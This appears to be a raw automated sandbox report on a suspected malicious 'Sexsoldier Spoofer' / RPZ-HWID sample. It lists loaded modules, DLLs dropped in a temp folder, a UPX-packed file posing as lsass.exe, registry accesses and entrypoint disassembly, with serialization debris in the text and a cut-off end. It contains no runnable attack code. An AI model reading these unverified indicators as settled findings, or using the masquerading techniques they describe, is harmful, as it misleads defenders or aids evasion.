"SHLWAPI.DLL" at base 757a0000 "MicrosoftEdgeWebview2Setup.exe" loaded module "KERNEL32.DLL" at base 77270000 "MicrosoftEdgeWebview2Setup.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 723d0000 "MicrosoftEdgeWebview2Setup.exe" loaded module "NTDLL.DLL" at base 77d20000 "MicrosoftEdgeWebview2Setup.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 74630000 "MicrosoftEdgeUpdate.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 744c0000 "MicrosoftEdgeUpdate.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 77010000 "MicrosoftEdgeUpdate.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 77010000 "MicrosoftEdgeUpdate.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 77010000 "MicrosoftEdgeUpdate.exe" loaded module "SHELL32.DLL" at base 75cd0000 "MicrosoftEdgeUpdate.exe" loaded module "KERNEL32" at base 77270000 "MicrosoftEdgeUpdate.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 77010000 "MicrosoftEdgeUpdate.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 77010000 "MicrosoftEdgeUpdate.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 77010000 "MicrosoftEdgeUpdate.exe" loaded module "SHLWAPI.DLL" at base 757a0000 "MicrosoftEdgeUpdate.exe" loaded module "KERNEL32.DLL" at base 77270000 "MicrosoftEdgeUpdate.exe" loaded module "%PROGRAMFILES%\(X86)\MICROSOFT\TEMP\EUDE7D.TMP\MSEDGEUPDATE.DLL" at base 74250000 "MicrosoftEdgeUpdate.exe" loaded module "%WINDIR%\SYSTEM32\KERNEL32.DLL" at base 77270000 "MicrosoftEdgeUpdate.exe" loaded module "ADVAPI32.DLL" at base 757f0000 "MicrosoftEdgeUpdate.exe" loaded module "RPCRT4.DLL" at base 77650000 "MicrosoftEdgeUpdate.exe" loaded module "%WINDIR%\SYSTEM32\MDMREGISTRATION.DLL" at base 741d0000 "MicrosoftEdgeUpdate.exe" loaded module "%WINDIR%\SYSTEM32\NETAPI32.DLL" at base 746d0000 "MicrosoftEdgeUpdate.exe" loaded module "NETAPI32.DLL" at base 746d0000 "MicrosoftEdgeUpdate.exe" loaded module "USER32.DLL" at base 74d70000 "MicrosoftEdgeUpdate.exe" loaded module "OLE32.DLL" at base 74780000 "MicrosoftEdgeUpdate.exe" loaded module "GDI32.DLL" at base 74ef0000 "MicrosoftEdgeUpdate.exe" loaded module "%WINDIR%\SYSWOW64\MSXML6.DLL" at base 73f10000 "MicrosoftEdgeUpdate.exe" loaded module "KERNELBASE.DLL" at base 77010000 "MicrosoftEdgeUpdate.exe" loaded module "NTDLL.DLL" at base 77d20000 "MicrosoftEdgeUpdate.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 74630000 "MicrosoftEdgeUpdate.exe" loaded module "%WINDIR%\SYSWOW64\TASKSCHD.DLL" at base 73e80000 "MicrosoftEdgeUpdate.exe" loaded module "OLEAUT32.DLL" at base 779c0000 "MicrosoftEdgeUpdate.exe" loaded module "SSPICLI.DLL" at base 74740000 "MicrosoftEdgeUpdate.exe" loaded module "%WINDIR%\SYSTEM32\NTDLL.DLL" at base 77d20000 "MicrosoftEdgeUpdate.exe" loaded module "%WINDIR%\SYSTEM32\WLDP.DLL" at base 73e60000 "MicrosoftEdgeUpdate.exe" loaded module "COMCTL32.DLL" at base 73c60000 "MicrosoftEdgeUpdate.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 723d0000 "MicrosoftEdgeUpdate.exe" loaded module "%WINDIR%\SYSTEM32\MSCTF.DLL" at base 77a60000 "MicrosoftEdgeUpdate.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 73a80000 "MicrosoftEdgeUpdate.exe" loaded module "API-MS-WIN-CORE-PROCESSTHREADS-L1-1-2.DLL" at base 77270000 "MicrosoftEdgeUpdate.exe" loaded module "%WINDIR%\SYSWOW64\\WINDOWS.STATEREPOSITORYPS.DLL" at base 73600000 "MicrosoftEdgeUpdate.exe" loaded module "%WINDIR%\SYSWOW64\SHELL32.DLL" at base 75cd0000 "MicrosoftEdgeUpdate.exe" loaded module "%WINDIR%\SYSTEM32\WINDOWS.STORAGE.DLL" at base 750d0000 "MicrosoftEdgeUpdate.exe" loaded module "%PROGRAMFILES%\(X86)\MICROSOFT\EDGEUPDATE\1.3.251.5\MSEDGEUPDATE.DLL" at base 74250000 "MicrosoftEdgeUpdate.exe" loaded module "%WINDIR%\SYSTEM32\MDMREGISTRATION.DLL" at base 73ed0000 "MicrosoftEdgeUpdate.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2" at base 75c60000 "MicrosoftEdgeUpdate.exe" loaded module "%WINDIR%\SYSTEM32\MDMREGISTRATION.DLL" at base 73e40000 "MicrosoftEdgeUpdate.exe" loaded module "%PROGRAMFILES%\(X86)\MICROSOFT\EDGEUPDATE\1.3.251.5\PSMACHINE.DLL" at base 73e20000 "MicrosoftEdgeUpdate.exe" loaded module "%WINDIR%\SYSTEM32\MDMREGISTRATION.DLL" at base 73de0000 "MicrosoftEdgeUpdateComRegisterShell64.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ffa06b10000 "MicrosoftEdgeUpdateComRegisterShell64.exe" loaded module "%WINDIR%\SYSTEM32\MDMREGISTRATION.DLL" at base 7ffa09ce0000 "MicrosoftEdgeUpdateComRegisterShell64.exe" loaded module "%WINDIR%\SYSTEM32\NETAPI32.DLL" at base 7ffa22c50000 "MicrosoftEdgeUpdateComRegisterShell64.exe" loaded module "OLE32.DLL" at base 7ffa2e080000 "MicrosoftEdgeUpdateComRegisterShell64.exe" loaded module "USER32.DLL" at base 7ffa2db40000 "MicrosoftEdgeUpdateComRegisterShell64.exe" loaded module "RPCRT4.DLL" at base 7ffa2c5b0000 "MicrosoftEdgeUpdateComRegisterShell64.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2" at base 7ffa2aa80000 "MicrosoftEdgeUpdateComRegisterShell64.exe" loaded module "%WINDIR%\SYSTEM32\MDMREGISTRATION.DLL" at base 7ffa215f0000 "MicrosoftEdgeUpdate.exe" loaded module "%WINDIR%\SYSTEM32\MDMREGISTRATION.DLL" at base 7353000044:T5f8,"SexsoldierSpoofer.exe" loaded module "%WINDIR%\System32\bcryptprimitives.dll" at 2AC40000 "conhost.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 74FC0000 "RPZ-HWID.exe" loaded module "%WINDIR%\System32\bcryptprimitives.dll" at 2AC40000 "svchost.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 74FC0000 "svchost.exe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 71A00000 "svchost.exe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 72490000 "ONENOTEM.EXE" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 74FC0000 "ONENOTEM.EXE" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 72490000 "powershell.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 74FC0000 "powershell.exe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 72490000 "ReAgentc.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 74FC0000 "ReAgentc.exe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 72490000 "svchost.exe" loaded module "%WINDIR%\System32\bcryptprimitives.dll" at 2AC40000 "MicrosoftEdgeWebview2Setup.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 74FC0000 "MicrosoftEdgeUpdate.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 74FC0000 "MicrosoftEdgeUpdate.exe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 72490000 "MicrosoftEdgeUpdateComRegisterShell64.exe" loaded module "%WINDIR%\System32\bcryptprimitives.dll" at 2AC40000 "MicrosoftEdgeUpdateComRegisterShell64.exe" loaded module "%WINDIR%\System32\bcrypt.dll" at 2A55000045:Tc25,"Sexsoldier Spoofer.exe" was detected as ".NET" and name: "Library" "Sexsoldier Spoofer.exe" was detected as "Microsoft Linker" and name: "Linker" "lsass.exe" was detected as ".NET" and name: "Library" "lsass.exe" was detected as "Microsoft Linker" and name: "Linker" "msedgeupdate.dll" was detected as ".NET" and name: "Library" "msedgeupdate.dll" was detected as "Microsoft Linker" and name: "Linker" "svchost.exe" was detected as ".NET" and name: "Library" "svchost.exe" was detected as "Microsoft Linker" and name: "Linker" "MicrosoftEdgeWebview2Setup.exe" was detected as ".NET" and name: "Library" "MicrosoftEdgeWebview2Setup.exe" was detected as "Microsoft Linker" and name: "Linker" "psuser_64.dll" was detected as ".NET" and name: "Library" "psuser_64.dll" was detected as "Microsoft Linker" and name: "Linker" "psmachine_64.dll" was detected as ".NET" and name: "Library" "psmachine_64.dll" was detected as "Microsoft Linker" and name: "Linker" "psmachine_arm64.dll" was detected as ".NET" and name: "Library" "psmachine_arm64.dll" was detected as "Microsoft Linker" and name: "Linker" "psuser_arm64.dll" was detected as ".NET" and name: "Library" "psuser_arm64.dll" was detected as "Microsoft Linker" and name: "Linker" "psmachine.dll" was detected as ".NET" and name: "Library" "psmachine.dll" was detected as "Microsoft Linker" and name: "Linker" "psuser.dll" was detected as ".NET" and name: "Library" "psuser.dll" was detected as "Microsoft Linker" and name: "Linker" "MicrosoftEdgeUpdateCore.exe" was detected as ".NET" and name: "Library" "MicrosoftEdgeUpdateCore.exe" was detected as "Microsoft Linker" and name: "Linker" "MicrosoftEdgeUpdateComRegisterShell64.exe" was detected as ".NET" and name: "Library" "MicrosoftEdgeUpdateComRegisterShell64.exe" was detected as "Microsoft Linker" and name: "Linker" "MicrosoftEdgeUpdate.exe" was detected as ".NET" and name: "Library" "MicrosoftEdgeUpdate.exe" was detected as "Microsoft Linker" and name: "Linker" "MicrosoftEdgeComRegisterShellARM64.exe" was detected as ".NET" and name: "Library" "MicrosoftEdgeComRegisterShellARM64.exe" was detected as "Microsoft Linker" and name: "Linker" "RPZ-HWID.exe" was detected as ".NET" and name: "Library" "RPZ-HWID.exe" was detected as "Microsoft Linker" and name: "Linker" "MicrosoftEdgeUpdateBroker.exe" was detected as ".NET" and name: "Library" "MicrosoftEdgeUpdateBroker.exe" was detected as "Microsoft Linker" and name: "Linker" "MicrosoftEdgeUpdateOnDemand.exe" was detected as ".NET" and name: "Library" "MicrosoftEdgeUpdateOnDemand.exe" was detected as "Microsoft Linker" and name: "Linker" "RPZ-HWID.dll" was detected as ".NET" and name: "Library" "RPZ-HWID.dll" was detected as "Microsoft Linker" and name: "Linker" "msedgeupdateres_el.dll" was detected as ".NET" and name: "Library" "msedgeupdateres_el.dll" was detected as "Microsoft Linker" and name: "Linker" "msedgeupdateres_ml.dll" was detected as ".NET" and name: "Library" "msedgeupdateres_ml.dll" was detected as "Microsoft Linker" and name: "Linker"46:Te75,Found string "powershell_ise.exe" (Indicator: "powershell_ise.exe"; Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string "Join-Path" (Indicator: "Join-Path"; Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string "Always resolve file paths using Resolve-Path -Relative." (Indicator: "Resolve-Path"; Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string "Variable to contain the name of the email server. This can be used instead of the HostName parameter in the Send-MailMessage cmdlet.ater than $ConfirmPreference. If $ConfirmPreference is None, actions will only be confirmed when Confirm is specified." (Indicator: "Send-MailMessage"; Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string "Variable to hold all default pairse used instead of the HostName parameter in the Send-MailMessage cmd" (Indicator: "Send-MailMessage"; Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string "Variable to contain the name of the email server. This can be used instead of the HostName parameter in the Send-MailMessage cmdlet." (Indicator: "Send-MailMessage"; Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string "Resolve-Path" (Indicator: "Resolve-Path"; Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string "Write-Output" (Indicator: "Write-Output"; Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string "Show-Command" (Indicator: "Show-Command"; Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string "Trace-Command" (Indicator: "Trace-Command"; Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string "Pop-Location" (Indicator: "Pop-Location"; Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string "Push-Location" (Indicator: "Push-Location"; Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string "Select-String" (Indicator: "Select-String"; Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string "Enter-PSHostProcess" (Indicator: "Enter-PSHostProcess"; Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string "Exit-PSHostProcess" (Indicator: "Exit-PSHostProcess"; Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string "Save-Help" (Indicator: "Save-Help"; Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string "Test-ModuleManifest" (Indicator: "Test-ModuleManifest"; Source: "00000000-00002136.00000000.136196.05280000.00000004.mdmp") Found string "Test-Path -Liter/x" (Indicator: "Test-Path"; Source: "00000000-00002136.00000000.136196.07842000.00000004.mdmp") Found string "Write-Output -InputObject $byteCollectionObject" (Indicator: "Write-Output"; Source: "00000000-00002136.00000000.136196.07842000.00000004.mdmp") Found string "$resolvedPaths = Resolve-Path -LiteralPath $filePath" (Indicator: "Resolve-Path"; Source: "00000000-00002136.00000000.136196.07842000.00000004.mdmp") Found string "$resolvedPaths = Resolve-Path -Path $filePath" (Indicator: "Resolve-Path"; Source: "00000000-00002136.00000000.136196.07842000.00000004.mdmp") Found string "Write-Error -Message $errorMessage -Category ([System.Management.Automation.ErrorCategory]::InvalidData) -ErrorId "FormatHexResolvePathError"" (Indicator: "Write-Error"; Source: "00000000-00002136.00000000.136196.07842000.00000004.mdmp") Found string "if(Test-Path -LiteralPath $\7" (Indicator: "Test-Path"; Source: "00000000-00002136.00000001.137903.08C7C000.00000004.mdmp")47:Teff,"svchost.exe" touched "WBEM Scripting Locator" (Path: "HKCU\WOW6432NODE\CLSID\{76A64158-CB41-11D1-8B02-00600806D9B6}") "svchost.exe" touched "WBEM Locator" (Path: "HKCU\WOW6432NODE\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\TREATAS") "svchost.exe" touched "PSDispatch" (Path: "HKCU\WOW6432NODE\CLSID\{00020420-0000-0000-C000-000000000046}\TREATAS") "svchost.exe" touched "PSTypeInfo" (Path: "HKCU\WOW6432NODE\CLSID\{00020422-0000-0000-C000-000000000046}\TREATAS") "svchost.exe" touched "WbemDefaultPathParser" (Path: "HKCU\WOW6432NODE\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\TREATAS") "svchost.exe" touched "Windows Management and Instrumentation" (Path: "HKCU\WOW6432NODE\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}\TREATAS") "svchost.exe" touched "PSFactoryBuffer" (Path: "HKCU\WOW6432NODE\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\TREATAS") "svchost.exe" touched "Microsoft WBEM Call Context" (Path: "HKCU\WOW6432NODE\CLSID\{674B6698-EE92-11D0-AD71-00C04FD8FDFF}\TREATAS") "svchost.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemServices" (Path: "HKCU\WOW6432NODE\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\TREATAS") "svchost.exe" touched "Microsoft WBEM (non)Standard Marshaling for IEnumWbemClassObject" (Path: "HKCU\WOW6432NODE\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\TREATAS") "svchost.exe" touched "PSEnumVariant" (Path: "HKCU\WOW6432NODE\CLSID\{00020421-0000-0000-C000-000000000046}\TREATAS") "svchost.exe" touched "TaskScheduler class" (Path: "HKCU\WOW6432NODE\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\TREATAS") "svchost.exe" touched "Computer" (Path: "HKCU\WOW6432NODE\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER") "svchost.exe" touched "Memory Mapped Cache Mgr" (Path: "HKCU\WOW6432NODE\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\TREATAS") "svchost.exe" touched "Private Profile Object" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{75847177-F077-4171-BD2C-A6BB2164FBD0}\INPROCSERVER32") "svchost.exe" touched "Sync root manager" (Path: "HKCU\WOW6432NODE\CLSID\{F324E4F9-8496-40B2-A1FF-9617C1C9AFFE}\INSTANCE") "svchost.exe" touched "ExecuteAssociation" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{1649D1CF-DEAF-4A68-ABE8-5C9F68572FD1}\INPROCSERVER32") "svchost.exe" touched "Property System Both Class Factory" (Path: "HKCU\WOW6432NODE\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}\TREATAS") "svchost.exe" touched "Security Manager" (Path: "HKCU\WOW6432NODE\CLSID\{7B8A2D94-0AC9-11D1-896C-00C04FB6BFC4}\TREATAS") "svchost.exe" touched "ShellItemArray Shell Namespace helper" (Path: "HKCU\WOW6432NODE\CLSID\{CDC82860-468D-4D4E-B7E7-C298FF23AB2C}\TREATAS") "svchost.exe" touched "ShellItem Shell Namespace helper" (Path: "HKCU\WOW6432NODE\CLSID\{9AC9FBE1-E0A2-4AD6-B4EE-E212013EA917}\TREATAS") "powershell.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemObjectSinkEx" (Path: "HKCU\WOW6432NODE\CLSID\{00B8308C-09F2-4C18-A7B0-4594D6B22EFE}\TREATAS") "powershell.exe" touched "Microsoft WBEM WbemClassObject Marshalling proxy" (Path: "HKCU\WOW6432NODE\CLSID\{4590F812-1D3A-11D0-891F-00AA004B2E24}\TREATAS") "powershell.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemObjectSink" (Path: "HKCU\WOW6432NODE\CLSID\{71285C44-1DC0-11D2-B5FB-00104B703EFD}\TREATAS") "powershell.exe" touched "NDP SymBinder" (Path: "HKCU\WOW6432NODE\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\INPROCSERVER32") "powershell.exe" touched "Windows Defender IOfficeAntiVirus implementation" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{2781761E-28E0-4109-99FE-B9D127C57AFE}\INPROCSERVER32") "ONENOTEM.EXE" touched "PSOAInterface" (Path: "HKCU\WOW6432NODE\CLSID\{00020424-0000-0000-C000-000000000046}\TREATAS") "MicrosoftEdgeUpdate.exe" touched "XML DOM Document 6.0" (Path: "HKCU\WOW6432NODE\CLSID\{88D96A05-F192-11D4-A65F-0040963251E5}")48:T5f0,"msedgeupdate.dll" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "svchost.exe" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "MicrosoftEdgeWebview2Setup.exe" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "psuser_64.dll" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "psmachine_64.dll" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "psmachine_arm64.dll" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "psuser_arm64.dll" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "psmachine.dll" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "psuser.dll" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "MicrosoftEdgeUpdateCore.exe" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "MicrosoftEdgeUpdateComRegisterShell64.exe" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "MicrosoftEdgeUpdate.exe" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "MicrosoftEdgeComRegisterShellARM64.exe" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "RPZ-HWID.exe" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "MicrosoftEdgeUpdateBroker.exe" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "MicrosoftEdgeUpdateOnDemand.exe" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "RPZ-HWID.dll" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "msedgeupdateres_el.dll" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "msedgeupdateres_ml.dll" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG"49:T60e,"Sexsoldier Spoofer.exe" has an executable section named ".text" "lsass.exe" has an executable section named "UPX0" "lsass.exe" has an executable section named "UPX1" "msedgeupdate.dll" has an executable section named ".text" "svchost.exe" has an executable section named ".text" "svchost.exe" has an executable section named ".gyxnjd" "MicrosoftEdgeWebview2Setup.exe" has an executable section named ".text" "psuser_64.dll" has an executable section named ".text" "psuser_64.dll" has an executable section named ".orpc" "psmachine_64.dll" has an executable section named ".text" "psmachine_64.dll" has an executable section named ".orpc" "psmachine_arm64.dll" has an executable section named ".text" "psmachine_arm64.dll" has an executable section named ".orpc" "psuser_arm64.dll" has an executable section named ".text" "psuser_arm64.dll" has an executable section named ".orpc" "psmachine.dll" has an executable section named ".text" "psmachine.dll" has an executable section named ".orpc" "psuser.dll" has an executable section named ".text" "psuser.dll" has an executable section named ".orpc" "MicrosoftEdgeUpdateCore.exe" has an executable section named ".text" "MicrosoftEdgeUpdateComRegisterShell64.exe" has an executable section named ".text" "MicrosoftEdgeUpdate.exe" has an executable section named ".text" "MicrosoftEdgeComRegisterShellARM64.exe" has an executable section named ".text" "RPZ-HWID.exe" has an executable section named ".text" "MicrosoftEdgeUpdateBroker.exe" has an executable section named ".text"4a:T5e6,"lsass.exe" has an writable section named "UPX0" "lsass.exe" has an writable section named "UPX1" "lsass.exe" has an writable section named "UPX2" "msedgeupdate.dll" has an writable section named ".data" "msedgeupdate.dll" has an writable section named ".didat" "svchost.exe" has an writable section named ".osxkoc" "svchost.exe" has an writable section named ".sxwxcl" "MicrosoftEdgeWebview2Setup.exe" has an writable section named ".data" "MicrosoftEdgeWebview2Setup.exe" has an writable section named ".didat" "psuser_64.dll" has an writable section named ".data" "psuser_64.dll" has an writable section named ".didat" "psmachine_64.dll" has an writable section named ".data" "psmachine_64.dll" has an writable section named ".didat" "psmachine_arm64.dll" has an writable section named ".data" "psmachine_arm64.dll" has an writable section named ".didat" "psuser_arm64.dll" has an writable section named ".data" "psuser_arm64.dll" has an writable section named ".didat" "psmachine.dll" has an writable section named ".data" "psmachine.dll" has an writable section named ".didat" "psuser.dll" has an writable section named ".data" "psuser.dll" has an writable section named ".didat" "MicrosoftEdgeUpdateCore.exe" has an writable section named ".data" "MicrosoftEdgeUpdateCore.exe" has an writable section named ".didat" "MicrosoftEdgeUpdateComRegisterShell64.exe" has an writable section named ".data" "MicrosoftEdgeUpdateComRegisterShell64.exe" has an writable section named ".didat"4b:T3841,"Sexsoldier Spoofer.exe" file has an entrypoint instructions - "jmp dword ptr [0x402000],add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al," "lsass.exe" file has an entrypoint instructions - "pushal ,mov esi, 0xce8015,lea edi, [esi - 0x8e7015],push edi,mov ebp, esp,lea ebx, [esp - 0x3e80],xor eax, eax,push eax,cmp esp, ebx,jne 0x10553c8,inc esi,inc esi,push ebx,push 0xc533ce,push edi,add ebx, 4,push ebx,push 0x36d395,push esi,add ebx, 4,push ebx,push eax,mov dword ptr [ebx], 0x20003,push ebp,push edi,mov edi, 0,push esi,push ebx,sub esp, 0x64,mov edx, dword ptr [esp + 0x78],mov dword ptr [esp + 0x5c], 0,lea eax, [edx + 4],mov dword ptr [esp + 0x60], eax,mov eax, 1,movzx ecx, byte ptr [edx + 2]," "msedgeupdate.dll" file has an entrypoint instructions - "push ebp,mov ebp, esp,cmp dword ptr [ebp + 0xc], 1,jne 0x1812aa7e,call 0x1812b0f2,push dword ptr [ebp + 0x10],push dword ptr [ebp + 0xc],push dword ptr [ebp + 8],call 0x1812a93a,add esp, 0xc,pop ebp,ret 0xc,jmp 0x1812a1e3,push ebp,mov ebp, esp,jmp 0x1812aaaa,push dword ptr [ebp + 8],call 0x18150237,pop ecx,test eax, eax,je 0x1812aab9,push dword ptr [ebp + 8],call 0x18147148,pop ecx,test eax, eax,je 0x1812aa9d,pop ebp,ret ,cmp dword ptr [ebp + 8], -1,je 0x1812b2ea,jmp 0x1812b2cd,push ebp,mov ebp, esp,pop ebp,jmp 0x1812aa98,push ebp,mov ebp, esp," "svchost.exe" file has an entrypoint instructions - "jmp dword ptr [0x402000],add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al," "svchost.exe" file has an entrypoint instructions - "sub rsp, 0x28,mov rax, qword ptr [rip + 0x4015],mov dword ptr [rax], 1,call 0x140001020,nop ,nop ,nop ,add rsp, 0x28,ret ,nop ,push r15,push r14,push r13,push r12,push rsi,push rdi,push rbp,push rbx,sub rsp, 0x38,mov eax, 0x30,mov rax, qword ptr gs:[eax],mov rsi, qword ptr [rax + 8],mov rbx, qword ptr [rip + 0x4003],xor eax, eax,lock cmpxchg qword ptr [rbx], rsi,sete bpl,cmp rsi, rax,sete al,or al, bpl,jne 0x140001089,mov rdi, qword ptr [rip + 0x223bbe]," "MicrosoftEdgeWebview2Setup.exe" file has an entrypoint instructions - "call 0x4086a8,jmp 0x408282,push ebp,mov ebp, esp,mov eax, dword ptr [ebp + 8],push esi,mov ecx, dword ptr [eax + 0x3c],add ecx, eax,movzx eax, word ptr [ecx + 0x14],lea edx, [ecx + 0x18],add edx, eax,movzx eax, word ptr [ecx + 6],imul esi, eax, 0x28,add esi, edx,cmp edx, esi,je 0x408445,mov ecx, dword ptr [ebp + 0xc],cmp ecx, dword ptr [edx + 0xc],jb 0x40843e,mov eax, dword ptr [edx + 8],add eax, dword ptr [edx + 0xc],cmp ecx, eax,jb 0x40844a,add edx, 0x28,cmp edx, esi,jne 0x40842f,xor eax, eax,pop esi,pop ebp,ret ,mov eax, edx,jmp 0x408447,push esi,call 0x408bf9,test eax, eax,je 0x408478,mov eax, dword ptr fs:[0x18],mov esi, 0x42692c," "psuser_64.dll" file has an entrypoint instructions - "mov qword ptr [rsp + 8], rbx,mov qword ptr [rsp + 0x10], rsi,push rdi,sub rsp, 0x20,mov rdi, r8,mov ebx, edx,mov rsi, rcx,cmp edx, 1,jne 0x180018151,call 0x1800184b8,mov r8, rdi,mov edx, ebx,mov rcx, rsi,mov rbx, qword ptr [rsp + 0x30],mov rsi, qword ptr [rsp + 0x38],add rsp, 0x20,pop rdi,jmp 0x180017ffc,int3 ,int3 ,int3 ,push rbx,sub rsp, 0x20,mov rbx, rcx,jmp 0x18001818a,mov rcx, rbx,call 0x180020b78,test eax, eax,je 0x18001819a,mov rcx, rbx,call 0x18001d234,test rax, rax,je 0x18001817b," "psmachine_64.dll" file has an entrypoint instructions - "mov qword ptr [rsp + 